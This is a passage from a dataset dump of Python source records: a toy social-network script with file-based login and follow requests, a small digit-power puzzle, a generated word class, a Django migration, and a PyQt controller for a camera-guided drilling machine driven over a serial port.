file\n file_object1.write(self.user_name)\n file_object1.write(\"\\n\")\n file_object1.write(self.bio)\n file_object1.write(\"\\n\")\n file_object1.write(self.phone)\n file_object1.write(\"\\n\")\n file_object1.write(self.email)\n with open(\"password.txt\", \"a+\") as file_object:\n file_object.seek(0)\n data = file_object.read(100)\n if len(data) > 0:\n file_object.write(\"\\n\")\n password = self.pass_word\n file_object.write(HASH(password))\n\n # here we want to check whether user name pass word are correct or not\n def login(self, username, password):\n logging.basicConfig(filename='app.log', filemode='w', format='%(levelname)s - %(asctime)s - %(message)s',\n level=logging.INFO)\n logging.info(\"user is trying to login!\")\n with open(\"username.txt\") as file_object:\n for i, line1 in enumerate(file_object):\n if str(line1) == username + \"\\n\":\n with open(\"password.txt\") as file_object2:\n for j, line2 in enumerate(file_object2):\n if j == i / 4:\n if str(line2) == HASH(password) + \"\\n\":\n self.login_status = True\n if self.login_status == True:\n print(\"Here is your following request:\")\n with open(\"follow_request_{}.txt\".format(username)) as file_object:\n for i, line1 in enumerate(file_object):\n print(line1)\n self.user_name = username\n self.pass_word = password\n\n\n # here we want to see others profile\n def watch_others_profile(self):\n logging.basicConfig(filename='app.log', filemode='w', format='%(levelname)s - %(asctime)s - %(message)s',\n level=logging.INFO)\n logging.info(\"user wants to see others profile!\")\n with open(\"username.txt\") as file_object:\n needed = file_object.readlines()\n # to track the row of data so we can show the appropriate data\n print(\"Here is the list of others: \")\n with open(\"username.txt\") as file_object:\n\n for i, line1 in enumerate(file_object):\n if i % 4 == 0 and i != len(needed):\n if str(line1) != self.user_name + \"\\n\":\n print(10 * \"-\")\n print(\"username: {}\".format(line1))\n print(\"bio: {}\".format(needed[i + 1]))\n print(\"phone: {}\".format(needed[i + 2]))\n print(\"email: {}\".format(needed[i + 3]))\n print(10 * '-')\n\n # here is a function to follow a user name\n def follow(self, username):\n logging.basicConfig(filename='app.log', filemode='w', format='%(levelname)s - %(asctime)s - %(message)s',\n level=logging.INFO)\n logging.info(\"user wants to follow some one!\")\n with open(\"follow_request_{}.txt\".format(username), \"a+\") as file_object:\n file_object.seek(0)\n data = file_object.read(100)\n if len(data) > 0:\n file_object.write(\"\\n\")\n file_object.write(\"{} wants to follow you!\".format(self.user_name))\n return username\n\n # here is a function to accept the request\n def accept_or_not(self, username_want):\n n = int(input(\"Enter 1 for yes(accept),2 for no(reject)!: \"))\n if n == 1:\n logging.basicConfig(filename='app.log', filemode='w', format='%(levelname)s - %(asctime)s - %(message)s',\n level=logging.INFO)\n logging.info(\"user accepted the follow request!\")\n print(\"Here is the list of your followers:\")\n for i in range(len(self.followers_list)):\n print(self.followers_list[i])\n self.acceptance = True\n with open(\"acceptance_response_for_{}.txt\".format(username_want), \"a+\") as file_object:\n file_object.seek(0)\n data = file_object.read(100)\n if len(data) > 0:\n file_object.write(\"\\n\")\n file_object.write(\"{}-accepted your follow request!\".format(self.user_name))\n return self.post_list\n if n == 2:\n self.acceptance = False\n with open(\"acceptance_response_for_{}.txt\".format(username_want), \"a+\") as file_object:\n file_object.seek(0)\n data = file_object.read(100)\n if len(data) > 0:\n file_object.write(\"\\n\")\n file_object.write(\"{} rejected your follow request!\".format(self.user_name))\n\n\n# Run part\nd1 = User()\nd2 = User()\nd1.get_Info()\nd2.get_Info()\nprint(15 * \"-\")\n\n\"---------------------------------------------\"\n\n# try to watch others profile\nd1.watch_others_profile()\nd2.watch_others_profile()\n\nprint(15 * \"-\")\nname_to_follow = d1.follow(\"fatemeh\")\n\n# try to add post to profile and change it if needed by user\nlogging.basicConfig(filename='app.log', filemode='w', format='%(levelname)s - %(asctime)s - %(message)s',\n level=logging.INFO)\nlogging.info(\"user wants to do some changes in list of posts!\")\na = Post(\"Today is a very good day!\")\na.comment(\"your post 1!:)\")\na.comment(\"your post 2!:)\")\na.comment(\"your post 3!:)\")\na.comment(\"your post 4!:)\")\nb = Post(\"Today is a very good day22!\")\nb.comment(\"your post 1!:)\")\nb.comment(\"your post 2!:)\")\nb.comment(\"your post 3!:)\")\nb.comment(\"your post 4!:)\")\nc = Post(\"How you doi'n?!\")\nc.comment(\"not good 1!:)\")\nc.comment(\"not good 2!:)\")\nc.comment(\"not good 3!:)\")\nc.comment(\"not good 4!:)\")\n\nd1.post_list.append(a)\nd1.post_list.append(b)\nd1.post_list.append(c)\n\n\"---------------------------------------------\"\nprint(15 * \"-\")\nprint(\"Here is to show you can update your profile.\")\nprint(15 * \"-\")\nfor i in range(len(d1.post_list)):\n d1.post_list[i].edit(\"Hi folks!\")\n d1.post_list[i].delete()\n d1.post_list[i].comment(\"It's a new comment {}\".format(i + 1))\n print(d1.post_list[i])\n# here for liking a post\nd1.post_list[2].like_pst()\n\"---------------------------------------------\"\n# try to login in this part\n# try to check the acceptance result\nprint(15 * \"-\")\nd4 = User()\na2 = Post(\"Today is a very good day!\")\na2.comment(\"your post 1!:)\")\na2.comment(\"your post 2!:)\")\na2.comment(\"your post 3!:)\")\na2.comment(\"your post 4!:)\")\nb2 = Post(\"Today is a very good day22!\")\nb2.comment(\"your post 1!:)\")\nb2.comment(\"your post 2!:)\")\nb2.comment(\"your post 3!:)\")\nb2.comment(\"your post 4!:)\")\nc2 = Post(\"How you doi'n?!\")\nc2.comment(\"not good 1!:)\")\nc2.comment(\"not good 2!:)\")\nc2.comment(\"not good 3!:)\")\nc2.comment(\"not good 4!:)\")\nd4.post_list.append(a2)\nd4.post_list.append(b2)\nd4.post_list.append(c2)\n# example for a successful login\nd4.login(\"fatemeh\", \"2222222222\")\nif d4.login_status == True:\n print(\"you are logged in!\")\nelse:\n print(\"sorry not correct information!\")\n\n# example of an unsuccessful logging\nprint(15 * \"-\")\nd3 = User()\nd3.post_list.append(a)\nd3.post_list.append(b)\nd3.post_list.append(c)\nd3.login(\"fatemeh\", '755555555555777')\nif d3.login_status == True:\n print(\"you are logged in!\")\nelse:\n print(\"sorry not correct information!\")\n\ntry:\n result = d4.accept_or_not('jack')\nexcept ValueError:\n logging.basicConfig(filename='app.log', filemode='w', format='%(levelname)s - %(asctime)s - %(message)s',\n level=logging.WARNING)\n logging.warning(\"user should enter an integer!\")\n print(\"Please Enter a digit!\")\n# try to check the list of posts of a user\n# we should get the response first\nprint(15 * \"-\")\nif result == None:\n exit()\nif result != None:\n d4.followers_list.append(name_to_follow)\nfor i in range(len(result)):\n print(result[i])\n print(\"you can add your comment to this post: \")\n comm = input(\"Enter your comment if you wish!: \")\n if comm != \"\":\n result[i].comment(comm)\n print(result[i])\n\"---------------------------------------------\"\n","sub_path":"latest_version_final/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":10445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"119058688","text":"x = range(2, 1000)\nresults = []\n\nfor n in x:\n b = len(str(n))\n a = 0\n for m in range(b):\n n = str(n)\n b = n[m]\n b = int(b)\n a += b**5\n if a == int(n):\n results.append(int(n))\n\nprint(sum(results))","sub_path":"Python/Exercicios/powernum.py","file_name":"powernum.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"248797574","text":"\n\n#calss header\nclass _SINGLE():\n\tdef __init__(self,): \n\t\tself.name = \"SINGLE\"\n\t\tself.definitions = [u'A baseball player singles by hitting a ball that allows him to reach first base.']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_single.py","file_name":"_single.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"307216880","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('projects', '0007_auto_20150617_0236'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='task',\n name='external_id',\n field=models.IntegerField(help_text=' \"ID\" for an external issue tracker system', null=True, verbose_name='External ID', blank=True),\n ),\n ]\n","sub_path":"django_erp/projects/migrations/0008_task_external_id.py","file_name":"0008_task_external_id.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"578285112","text":"from PyQt5.QtWidgets import QMainWindow, QMessageBox\nfrom controller.SiFuCanShu import SiFuCanShu\nfrom controller.YaLiCanShu import YaLiCanShu\nfrom controller.TiaoShiCanShu import TiaoShiCanShu\nfrom controller.GongJianCanShu import GongJianCanShu\nfrom controller.CameraPosition import CameraPosition\nfrom controller.ZiDongTiaoJiao import ZiDongTiaoJiao\nfrom controller.SiKongShiBie import SiKongShiBie\nfrom controller.DianYaTiaoShi import DianYaTiaoShi\nfrom controller.AdDuiBi import AdDuiBi\nfrom controller.Listener import Listener\nfrom util.communication_util import serial_init, get_data_from_serial_port, write_data_to_port\nimport time\nfrom PyQt5.QtCore import QTimer\nfrom PyQt5.QtGui import QPixmap\nimport cv2\nimport math\nfrom util.xls_util import readDataForNineStep, writeDataForSixStep, writeDataForEightStep, writeDataForFourteenStep, readData\nimport numpy as np\nimport os\nimport threading\nfrom PyQt5.QtCore import Qt\nfrom Demo_opencv_byGetFrame import getPicture, getCameraInstance, close\nclass MyMainWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n self.port = serial_init()\n self.sifucanshu_ui = SiFuCanShu()\n self.yalicanshu_ui = YaLiCanShu()\n self.tiaoshicanshu_ui = TiaoShiCanShu()\n self.gongjiancanshu_ui = GongJianCanShu()\n self.cameraPosition_ui = CameraPosition()\n self.ziDongTiaoJiao_ui = ZiDongTiaoJiao()\n self.sikongshibie_ui = SiKongShiBie()\n self.dianyatiaoshi_ui = DianYaTiaoShi()\n self.adDuiBi_ui = AdDuiBi()\n self.timer = QTimer()\n #self.openCamera()\n self.camera = getCameraInstance()\n self.ad1_count = 0\n self.ad1_value_list = []\n self.ad2_count = 0\n self.ad2_value_list = []\n self.loop_count = 0\n self.t = threading.Thread(target=self.update_img)\n self.t.start()\n # self.cam_timer = QTimer()\n # self.cam_timer.setInterval(1000)\n # self.cam_timer.start()\n # self.cam_timer.setTimerType(Qt.VeryCoarseTimer)\n # self.cam_timer.timeout.connect(self.update_img)\n #self.update_img()\n\n\n if self.port == -1:\n QMessageBox.information(self, '串口连接状态', '连接失败', QMessageBox.Yes)\n else:\n self.timer.setInterval(13)\n self.timer.start()\n self.timer.timeout.connect(self.listening)\n #self.update_img()\n\n\n\n def listening(self):\n data = get_data_from_serial_port(self.port)\n if not data == bytes('5501000000000000'.encode('ascii')):\n self.parse(data)\n\n\n def update_img(self):\n while True:\n if self.camera:\n self.loop_count = self.loop_count +1\n print(self.loop_count)\n # self.camera_flag, self.cap_image = self.cam_capture.read()\n #self.cap_image = getPicture(self.camera)\n self.cap_image = getPicture(self.camera)\n #self.cap_image = cv2.cvtColor(self.cap_image, cv2.COLOR_BGR2GRAY)\n #self.cap_image = cv2.imread(r'C:\\Users\\Administrator\\Desktop\\0803\\Pic_2019_08_02_151547_blockId#2192.bmp', 0)\n self.cap_image = cv2.resize(self.cap_image, (400, 300))\n self.ziDongTiaoJiao_ui.caped_image = self.cap_image\n #self.ziDongTiaoJiao_ui.showImage()\n self.cameraPosition_ui.caped_image = self.cap_image\n #self.cameraPosition_ui.showImage()\n self.sikongshibie_ui.caped_image = self.cap_image\n time.sleep(1)\n #self.sikongshibie_ui.showImage()\n\n def openCamera(self):\n self.cam_num = 0\n self.cam_capture = cv2.VideoCapture()\n if not self.cam_capture.isOpened():\n self.cam_capture.open(self.cam_num)\n\n\n def btnClicked(self):\n sender = self.sender()\n print(sender.text())\n if sender.text() == r'伺服参数设置':\n self.sifucanshu_ui.port = self.port\n self.sifucanshu_ui.activateWindow()\n self.sifucanshu_ui.show()\n\n if sender.text() == r'压力参数设置':\n self.yalicanshu_ui.port = self.port\n self.yalicanshu_ui.askTimer.start()\n self.yalicanshu_ui.activateWindow()\n self.yalicanshu_ui.show()\n\n if sender.text() == r'调试参数设置':\n self.tiaoshicanshu_ui.activateWindow()\n self.tiaoshicanshu_ui.show()\n\n if sender.text() == r'工件参数设置':\n self.gongjiancanshu_ui.activateWindow()\n self.gongjiancanshu_ui.show()\n\n if sender.text() == r'相机位置计算':\n self.cameraPosition_ui.port = self.port\n self.cameraPosition_ui.activateWindow()\n #self.cameraPosition_ui.openCamera()\n self.cameraPosition_ui.show()\n\n if sender.text() == r'相机四孔识别':\n self.sikongshibie_ui.port = self.port\n self.sikongshibie_ui.activateWindow()\n #self.sikongshibie_ui.openCamera()\n self.sikongshibie_ui.show()\n\n if sender.text() == r'自动调校':\n self.ziDongTiaoJiao_ui.port = self.port\n self.ziDongTiaoJiao_ui.activateWindow()\n #todo\n if self.port:\n write_data_to_port(self.port, r'0001000000000005')\n #self.ziDongTiaoJiao_ui.openCamera()\n self.ziDongTiaoJiao_ui.show()\n if sender.text() == r'电压调试':\n self.dianyatiaoshi_ui.port = self.port\n self.dianyatiaoshi_ui.activateWindow()\n self.dianyatiaoshi_ui.show()\n if sender.text() == r'零点标定':\n if self.port:\n write_data_to_port(self.port, r'0001000000000001')\n if sender.text() == r'电压对比':\n self.adDuiBi_ui.activateWindow()\n self.adDuiBi_ui.show()\n if self.port:\n write_data_to_port(self.port, r'0001000000000002')\n if sender.text() == r'关机归位':\n if self.port:\n write_data_to_port(self.port, r'0001000000000003')\n\n\n def parse(self,data):\n data_splited = []\n for i in range(0, 15, 2):\n data_splited.append(data[i:i+2])\n # 获取AD值和继电器状态\n if data_splited[0] == b'55' and data_splited[1] == b'02':\n high =(data_splited[3][0] - 48) if data_splited[3][0] < 58 else data_splited[3][0] - 87\n low = (data_splited[3][1] - 48) if data_splited[3][1] < 58 else data_splited[3][1] - 87\n high_bin = bin(high)[-4:]\n low_bin = bin(low)[-4:]\n if len(high_bin) < 4:\n high_bin = '0'+high_bin[-1]\n if len(low_bin) is 3:\n low_bin = '000' + low_bin[-1]\n if len(low_bin) is 4:\n if low_bin.startswith('b'):\n low_bin = '0' + low_bin[-3:]\n if low_bin.startswith('0b'):\n low_bin = '00' + low_bin[-2:]\n # if len(low_bin) is 5:\n # low_bin = '0' + low_bin[-3:]\n # if len(low_bin) is 6:\n # low_bin = low_bin[-4:]\n status = (high_bin + low_bin)[-6:]\n self.update_relay_status(status)\n ad1_high = data_splited[4]\n ad1_low = data_splited[5]\n ad2_high = data_splited[6]\n ad2_low = data_splited[7]\n ad1_value = byte_to_oct(ad1_high, ad1_low)\n ad2_value = byte_to_oct(ad2_high, ad2_low)\n temp1 = float(self.yalicanshu_ui.ad1_value_2.text()) - float(self.yalicanshu_ui.ad1_value_1.text())\n temp2 = float(self.yalicanshu_ui.ad1_pressure_2.text()) - float(self.yalicanshu_ui.ad1_pressure_1.text())\n if not temp2 == 0:\n vp = temp1 / temp2\n else:\n vp = 999\n # AD1 平均滤波\n self.ad1_value_list.append(ad1_value)\n self.ad1_count = self.ad1_count + 1\n if self.ad1_count >= 4:\n ad1_value = np.mean(self.ad1_value_list)\n self.ad1_value_list = []\n self.ad1_count = 0\n self.yalicanshu_ui.ad1_display.setText(str(ad1_value))\n # AD2 平均滤波\n self.ad2_value_list.append(ad2_value)\n self.ad2_count = self.ad2_count + 1\n if self.ad2_count >=4:\n ad2_value = np.mean(self.ad2_value_list)\n self.ad2_value_list = []\n self.ad2_count = 0\n self.yalicanshu_ui.ad2_display.setText(str(ad2_value))\n\n #todo 测试AD2 AD1 压力及电压更新\n self.yalicanshu_ui.updateUI()\n\n # 向下位机发送相机XYZ坐标\n if data_splited[0] == b'05' and data_splited[1] == b'01':\n gongjian = self.ziDongTiaoJiao_ui.gongjian\n camera_x = gongjian.c_x\n camera_y = gongjian.c_y\n camera_z = gongjian.c_z\n oct_c_x_high = math.floor(camera_x / 256)\n oct_c_x_low = math.floor(camera_x % 256)\n\n oct_c_y_high = math.floor(camera_y / 256)\n oct_c_y_low = math.floor(camera_y % 256)\n\n oct_c_z_high = math.floor(camera_z / 256)\n oct_c_z_low = math.floor(camera_z % 256)\n\n cmd = r'5001'+oct_to_bin(oct_c_x_high) + \\\n oct_to_bin(oct_c_x_low) + \\\n oct_to_bin(oct_c_y_high) + \\\n oct_to_bin(oct_c_y_low) + \\\n oct_to_bin(oct_c_z_high) + \\\n oct_to_bin(oct_c_z_low)\n if self.port:\n write_data_to_port(self.port, cmd)\n # 向下位机发送AD2压力和限压\n if data_splited[0] == b'05' and data_splited[1] == b'02':\n gongjian = self.ziDongTiaoJiao_ui.gongjian\n pressure = gongjian.pressure\n\n ad2 = self.yalicanshu_ui.sensor\n xianya = ad2.ad2_max\n pressure_high = math.floor(pressure / 256)\n pressure_low = math.floor(pressure % 256)\n xianya_high = math.floor(xianya / 256)\n xianya_low = math.floor(xianya % 256)\n cmd = r'05020000' + oct_to_bin(pressure_high) + \\\n oct_to_bin(pressure_low) + \\\n oct_to_bin(xianya_high) + \\\n oct_to_bin(xianya_low)\n if self.port:\n write_data_to_port(self.port, cmd)\n\n #接收下位机完成步数\n if data_splited[0] == b'05' and data_splited[1] == b'04':\n # 接收下位机的传感器判断结果，并显示\n if data_splited[-1] == b'04':\n ad2_status = data_splited[-2]\n if ad2_status == b'01':\n self.yalicanshu_ui.ad2_pressure.setText(r'传感器错误')\n #向下位机发送第四步完成的信号\n write_data_to_port(self.port, r'0006000000000004')\n\n # 第五步完成接第六步\n if data_splited[-1] == b'05':\n cx1 = 0\n cy1 = 0\n cx2 = 0\n cy2 = 0\n cx3 = 0\n cy3 = 0\n try:\n srcImage = self.cap_image\n self.circle_detector.origin_Image = srcImage\n #todo gengxin\n recognizedImage, x1, y1, x2, y2, x3, y3 = self.circle_detector.match()\n\n if not x1 == -1 and not y1 == -1:\n cx1 = x1\n cy1 = y1\n if not x2 == -1 and not y2 == -1:\n cx2 = x2\n cy2 = y2\n if not x3 == -2 and not y3 == -1:\n cx3 = x3\n cy3 = y3\n except Exception as e:\n print(e)\n QMessageBox.information(self, '识别结果', '识别失败', QMessageBox.Yes)\n filePath = os.path.join(r'C:\\Users\\zyp\\PycharmProjects\\cv\\data','test.xlsx')\n data_dict = {}\n data_dict['x1'] = cx1\n data_dict['y1'] = cy1\n data_dict['x2'] = cx2\n data_dict['y2'] = cy2\n data_dict['x3'] = cx3\n data_dict['y3'] = cy3\n data_dict['c_x'] = self.ziDongTiaoJiao_ui.gongjian.c_x\n data_dict['c_y'] = self.ziDongTiaoJiao_ui.gongjian.c_y\n data_dict['ad2_pressure'] = float(self.ziDongTiaoJiao_ui.ad2_pressure.text())\n data_dict['angle'] = self.ziDongTiaoJiao_ui.gongjian.angle\n data_dict['vision'] = self.ziDongTiaoJiao_ui.gongjian.vision\n data_dict['pressure'] = self.ziDongTiaoJiao_ui.gongjian.pressure\n writeDataForSixStep(filePath, data_dict)\n print(\"第6步 此处进行识别并写excel文件\")\n write_data_to_port(self.port, r'0006000000000006')\n\n # 下位机第7步完成\n if data_splited[-1] == b'07':\n cx1 = 0\n cy1 = 0\n cx2 = 0\n cy2 = 0\n cx3 = 0\n cy3 = 0\n try:\n srcImage = self.cap_image\n self.circle_detector.origin_Image = srcImage\n recognizedImage, x1, y1, x2, y2, x3, y3 = self.circle_detector.match()\n\n if not x1 == -1 and not y1 == -1:\n cx1 = x1\n cy1 = y1\n if not x2 == -1 and not y2 == -1:\n cx2 = x2\n cy2 = y2\n if not x3 == -2 and not y3 == -1:\n cx3 = x3\n cy3 = y3\n except Exception as e:\n print(e)\n QMessageBox.information(self, '识别结果', '识别失败', QMessageBox.Yes)\n filePath = os.path.join(r'C:\\Users\\zyp\\PycharmProjects\\cv\\data','test.xlsx')\n data_dict = {}\n data_dict['x1'] = cx1\n data_dict['y1'] = cy1\n data_dict['x2'] = cx2\n data_dict['y2'] = cy2\n data_dict['x3'] = cx3\n data_dict['y3'] = cy3\n data_dict['ad2_pressure'] = float(self.ziDongTiaoJiao_ui.ad2_pressure.text())\n writeDataForEightStep(filePath, data_dict)\n print(\"第8步 对工件进行识别 写excel文件\")\n time.sleep(2)\n write_data_to_port(self.port, r'0006000000000008')\n\n #下位机第九步完成\n if data_splited[-1] == b'09':\n write_data_to_port(self.port, r'5004000000000000')\n print(r\"下位机第 9 步完成信号收到\")\n\n #下位机第十步完成\n if data_splited[-1] == b'0a':\n write_data_to_port(self.port, r'5004000000000000')\n print(r\"下位机第 10 步完成信号收到\")\n\n #下位机第 11 步完成\n if data_splited[-1] == b'0b':\n write_data_to_port(self.port, r'5004000000000000')\n print(r\"下位机第 11 步完成信号收到\")\n\n #下位机第 12 步完成\n if data_splited[-1] == b'0c':\n write_data_to_port(self.port, r'5004000000000000')\n print(r\"下位机第 12 步完成信号收到\")\n\n #下位机第 13 步完成\n if data_splited[-1] == b'0d':\n time.sleep(2)\n print(r'识别工件 并写入excel')\n cx1 = 0\n cy1 = 0\n cx2 = 0\n cy2 = 0\n cx3 = 0\n cy3 = 0\n try:\n srcImage = self.cap_image\n self.circle_detector.origin_Image = srcImage\n recognizedImage, x1, y1, x2, y2, x3, y3 = self.circle_detector.match()\n\n if not x1 == -1 and not y1 == -1:\n cx1 = x1\n cy1 = y1\n if not x2 == -1 and not y2 == -1:\n cx2 = x2\n cy2 = y2\n if not x3 == -2 and not y3 == -1:\n cx3 = x3\n cy3 = y3\n except Exception as e:\n print(e)\n QMessageBox.information(self, '识别结果', '识别失败', QMessageBox.Yes)\n filePath = os.path.join(r'C:\\Users\\zyp\\PycharmProjects\\cv\\data','test.xlsx')\n data_dict = {}\n data_dict['x1'] = cx1\n data_dict['y1'] = cy1\n data_dict['x2'] = cx2\n data_dict['y2'] = cy2\n data_dict['x3'] = cx3\n data_dict['y3'] = cy3\n writeDataForFourteenStep(filePath, data_dict)\n\n print(r\"上位机 14 步识别工件 写入excel\")\n #通知下位机 上位机的第14步已经完成\n write_data_to_port(self.port, r'000600000000000e')\n print(r\"上位机第14步 读取D26 判断是否正确\")\n\n flag = int(readData(filePath, (25, 3)))\n unqualified_num = int(self.ziDongTiaoJiao_ui.unqualified.text())\n qualified_num = int(self.ziDongTiaoJiao_ui.qualified.text())\n if flag == 0:\n self.ziDongTiaoJiao_ui.img_box.setText(\"打孔位置正确\")\n self.ziDongTiaoJiao_ui.unqualified.setText(str(qualified_num + 1))\n print(r\"打孔合格，读取D27 D28\")\n ##通知下位机第十七步完成\n write_data_to_port(self.port, r'0006000000000011')\n else:\n self.ziDongTiaoJiao_ui.img_box.setText(\"打孔位置错误\")\n self.ziDongTiaoJiao_ui.unqualified.setText(str(unqualified_num + 1))\n #通知下位机第十五步完成\n write_data_to_port(self.port, r'000600000000000f')\n\n #下位机获取X轴和Y轴的坐标\n if data_splited[0] == b'05' and data_splited[1] == b'05':\n filePath = os.path.join(r'C:\\Users\\zyp\\PycharmProjects\\cv\\data','test.xlsx')\n x, y = readDataForNineStep(filePath)\n print(\"第九步从excel文件中读取数据\")\n x_high = math.floor(x / 256)\n x_low = math.floor(x % 256)\n y_high = math.floor(y / 256)\n y_low = math.floor(y % 256)\n\n cmd = r'5005'+oct_to_bin(x_high) + \\\n oct_to_bin(x_low) + \\\n oct_to_bin(y_high) + \\\n oct_to_bin(y_low) + \\\n '0009'\n\n write_data_to_port(self.port, cmd)\n\n #获取转速 和起钻、止钻的位置\n if data_splited[0] == b'05' and data_splited[1] == b'03':\n gongjian = self.ziDongTiaoJiao_ui.gongjian\n qizuan = gongjian.z_start\n zhizuan = gongjian.z_stop\n zhuansu = gongjian.zhuansu\n qizuan_high = math.floor(qizuan / 256)\n qizuan_low = math.floor(qizuan % 256)\n zhuansu_high = math.floor(zhuansu / 256)\n zhuansu_low = math.floor(zhuansu % 256)\n\n zhizuan_high = math.floor(zhizuan / 255)\n zhizuan_low = math.floor(zhizuan % 255)\n cmd = r'5003'+oct_to_bin(qizuan_high) + \\\n oct_to_bin(qizuan_low) + \\\n oct_to_bin(zhizuan_high) + \\\n oct_to_bin(zhizuan_low) + \\\n oct_to_bin(zhuansu_high) + \\\n oct_to_bin(zhuansu_low)\n if self.port:\n write_data_to_port(self.port, cmd)\n\n #获取游丝角度\n if data_splited[0] == b'05' and data_splited[1] == b'07':\n gongjian = self.ziDongTiaoJiao_ui.gongjian\n yousi = gongjian.yousi_ang\n yousi_high = math.floor(yousi / 256)\n yousi_low = math.floor(yousi % 256)\n cmd = r'5007'+ oct_to_bin(yousi_high) + \\\n oct_to_bin(yousi_low)+'00000000'\n write_data_to_port(self.port, cmd)\n\n #获取钻速\n if data_splited[0] == b'05' and data_splited[1] == b'02':\n gongjian = self.ziDongTiaoJiao_ui.gongjian\n zuansu = gongjian.zuansu\n zuansu_high = math.floor(zuansu / 256)\n zuansu_low = math.floor(zuansu % 256)\n\n ad2 = self.yalicanshu_ui.sensor\n xianya = ad2.ad2_max\n pressure_high = math.floor(pressure / 256)\n pressure_low = math.floor(pressure % 256)\n xianya_high = math.floor(xianya / 256)\n xianya_low = math.floor(xianya % 256)\n cmd = r'5002' + oct_to_bin(zuansu_high) + \\\n oct_to_bin(zuansu_low) + \\\n oct_to_bin(xianya_high) + \\\n oct_to_bin(xianya_low) + \\\n oct_to_bin(pressure_high) + \\\n oct_to_bin(pressure_low)\n write_data_to_port(self.port, cmd)\n\n #相机位置计算更新坐标\n #TODO 待更新计算公式\n if data_splited[0] == b'55' and data_splited[1] == b'04':\n x_high = data_splited[2]\n x_mid = data_splited[3]\n x_low = data_splited[4]\n y_high = data_splited[5]\n y_mid =data_splited[6]\n y_low = data_splited[7]\n\n # x = byte_to_oct(x_high,x_mid, x_low)\n high_b1 = x_high[0]\n high_b2 = x_high[1]\n high_b1 = high_b1 - 48 if high_b1 < 58 else high_b1 - 87\n high_b2 = high_b2 - 48 if high_b2 < 58 else high_b2 - 87\n\n mid_b1 = x_mid[0]\n mid_b2 = x_mid[1]\n mid_b1 = mid_b1 - 48 if mid_b1 < 58 else mid_b1 - 87\n mid_b2 = mid_b2 - 48 if mid_b2 < 58 else mid_b2 - 87\n\n low_b1 = x_low[0]\n low_b2 = x_low[1]\n low_b1 = low_b1 - 48 if low_b1 < 58 else low_b1 - 87\n low_b2 = low_b2 - 48 if low_b2 < 58 else low_b2 - 87\n\n x = (high_b1 * 16 + high_b2) * 65536 +(mid_b1 * 16+mid_b2) * 256+ (low_b1 * 16 + low_b2)\n\n #y = byte_to_oct(y_high, y_low)\n high_b1 = y_high[0]\n high_b2 = y_high[1]\n high_b1 = high_b1 - 48 if high_b1 < 58 else high_b1 - 87\n high_b2 = high_b2 - 48 if high_b2 < 58 else high_b2 - 87\n\n mid_b1 = y_mid[0]\n mid_b2 = y_mid[1]\n mid_b1 = mid_b1 - 48 if mid_b1 < 58 else mid_b1 - 87\n mid_b2 = mid_b2 - 48 if mid_b2 < 58 else mid_b2 - 87\n\n low_b1 = y_low[0]\n low_b2 = y_low[1]\n low_b1 = low_b1 - 48 if low_b1 < 58 else low_b1 - 87\n low_b2 = low_b2 - 48 if low_b2 < 58 else low_b2 - 87\n\n y = (high_b1 * 16 + high_b2) * 65536 + (mid_b1 * 16 + mid_b2) * 256 + (low_b1 * 16 + low_b2)\n\n self.cameraPosition_ui.current_x.setText(str(round(x/10000,3)))\n self.cameraPosition_ui.current_y.setText(str(round(y/10000,3)))\n\n # def getAdValue(self):\n # write_data_to_port(self.port, r'0002000000000000')\n\n def update_relay_status(self, status):\n status_l = [int(x) for x in status[-6:]]\n print(status_l)\n if status_l[0] == 1:\n self.yalicanshu_ui.status_JF.setStyleSheet(\"*{background-color:red}\")\n print(\"JF\")\n else:\n self.yalicanshu_ui.status_JF.setStyleSheet(\"*{background-color:#e1e1e1}\")\n\n if status_l[1] == 1:\n self.yalicanshu_ui.status_JE.setStyleSheet(\"*{background-color:red}\")\n print(\"JE\")\n else:\n self.yalicanshu_ui.status_JE.setStyleSheet(\"*{background-color:#e1e1e1}\")\n\n if status_l[2] == 1:\n self.yalicanshu_ui.status_JD.setStyleSheet(\"*{background-color:red}\")\n print(\"JD\")\n else:\n self.yalicanshu_ui.status_JD.setStyleSheet(\"*{background-color:#e1e1e1}\")\n\n if status_l[3] == 1:\n self.yalicanshu_ui.status_JC.setStyleSheet(\"*{background-color:red}\")\n print(\"JC\")\n else:\n self.yalicanshu_ui.status_JC.setStyleSheet(\"*{background-color:#e1e1e1}\")\n\n if status_l[4] == 1:\n self.yalicanshu_ui.status_JB.setStyleSheet(\"*{background-color:red}\")\n print(\"JB\")\n else:\n self.yalicanshu_ui.status_JB.setStyleSheet(\"*{background-color:#e1e1e1}\")\n\n if status_l[5] == 1:\n self.yalicanshu_ui.status_JA.setStyleSheet(\"*{background-color:red}\")\n print(\"JA\")\n else:\n self.yalicanshu_ui.status_JA.setStyleSheet(\"*{background-color:#e1e1e1}\")\n\n def closeEvent(self, *args, **kwargs):\n if self.camera:\n close(self.camera)\n os._exit(0)\n\n\n\ndef byte_to_oct(high_b, low_b):\n high_b1 = high_b[0]\n high_b2 = high_b[1]\n high_b1 = high_b1 - 48 if high_b1 < 58 else high_b1 - 87\n high_b2 = high_b2 - 48 if high_b2 < 58 else high_b2 - 87\n\n low_b1 = low_b[0]\n low_b2 = low_b[1]\n low_b1 = low_b1 - 48 if low_b1 < 58 else low_b1 - 87\n low_b2 = low_b2 - 48 if low_b2 < 58 else low_b2 - 87\n return (high_b1 * 16 + high_b2) * 256 + (low_b1 * 16 + low_b2)\n\n\n\n\ndef oct_to_bin(value):\n temp = hex(value)\n if value < 16:\n return 